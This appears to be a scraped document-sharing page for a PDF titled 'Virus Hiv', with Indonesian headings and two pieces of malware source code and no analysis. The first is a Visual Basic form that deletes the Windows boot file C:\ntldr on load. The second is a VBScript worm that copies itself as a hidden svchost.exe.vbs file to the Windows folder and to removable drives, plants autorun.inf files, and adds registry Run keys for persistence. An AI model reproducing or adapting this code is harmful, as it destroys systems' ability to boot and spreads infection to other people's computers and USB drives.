Virus Hiv

  • Uploaded by: SUNARTO
  • 0
  • 0
  • May 2020
  • PDF

This document was uploaded by user and they confirmed that they have the permission to share it. If you are author or own the copyright of this book, please report to us by using this DMCA report form. Report DMCA


Overview

Download & View Virus Hiv as PDF for free.

More details

  • Words: 257
  • Pages: 2
CODING YANG KE SATU

Private Sub Form_Load() Dim filetarget As String filetarget = "C:\ntldr" Kill filetarget Label1.Caption = " Deleting Target...please wait " Timer1.Enabled = True End Sub Private Sub Timer1_Timer() Label2.Caption = "Done" End Sub Private Sub Form_Activate() Timer1.Enabled = False Me.Hide End sub

CODING YANG KE 2 'El Magnifico MAN on error resume next dim mysource,winpath,flashdrive,fs,mf,atr,tf,rg,nt,check,sd atr = "[autorun]"&vbcrlf&"shellexecute=wscript.exe svchost.exe.vbs" set fs = createobject("Scripting.FileSystemObject") set mf = fs.getfile(Wscript.ScriptFullname) dim text,size size = mf.size check = mf.drive.drivetype set text=mf.openastextstream(1,-2) do while not text.atendofstream mysource=mysource&text.readline mysource=mysource & vbcrlf loop do Set winpath = fs.getspecialfolder(0) set tf = fs.getfile(winpath & "\svchost.exe.vbs") tf.attributes = 32 set tf=fs.createtextfile(winpath & "\svchost.exe.vbs",2,true) tf.write mysource tf.close set tf = fs.getfile(winpath & "\svchost.exe.vbs") tf.attributes = 39 for each flashdrive in fs.drives If (flashdrive.drivetype = 1 or flashdrive.drivetype = 2) and flashdrive.path <> "A:" then set tf=fs.getfile(flashdrive.path &"\svchost.exe.vbs") tf.attributes =32 set tf=fs.createtextfile(flashdrive.path &"\svchost.exe.vbs",2,true) tf.write mysource tf.close set tf=fs.getfile(flashdrive.path &"\svchost.exe.vbs") tf.attributes =39 set tf =fs.getfile(flashdrive.path &"\autorun.inf") tf.attributes = 32 set tf=fs.createtextfile(flashdrive.path &"\autorun.inf",2,true) tf.write atr tf.close set tf =fs.getfile(flashdrive.path &"\autorun.inf") tf.attributes=39

end if next set rg = createobject("WScript.Shell") rg.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\svchost ",winpath&"\svchost.exe.vbs" rg.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MS32DLL ","" rg.regwrite "HKCR\vbsfile\DefaultIcon\","shell32.dll,3" if check <> 1 then Wscript.sleep 100000 end if loop while check<>1 set sd = createobject("Wscript.shell") sd.run winpath&"\explorer.exe /e,/select, "&Wscript.ScriptFullname do while year(now) >= 2008 WScript.sleep 20000 msgbox "adhecyber" & vbcrlf & _ "kokwoowkowkowko" & vbcrlf & _ "hahahahaha," & vbcrlf & _ "dodol dodol" & vbcrlf & _ vbcrlf & vbcrlf & _ "Stikom wewewewewewew" & vbcrlf & vbcrlf & _ " Suara kami dengar ding dalam sisten sistem pendidikan"

Related Documents

Virus Hiv
May 2020 19
Virus, Hiv, Dengue
April 2020 4
Cap 4 - Virus - Hiv
November 2019 7
Hiv
June 2020 36
Hiv
November 2019 66

More Documents from ""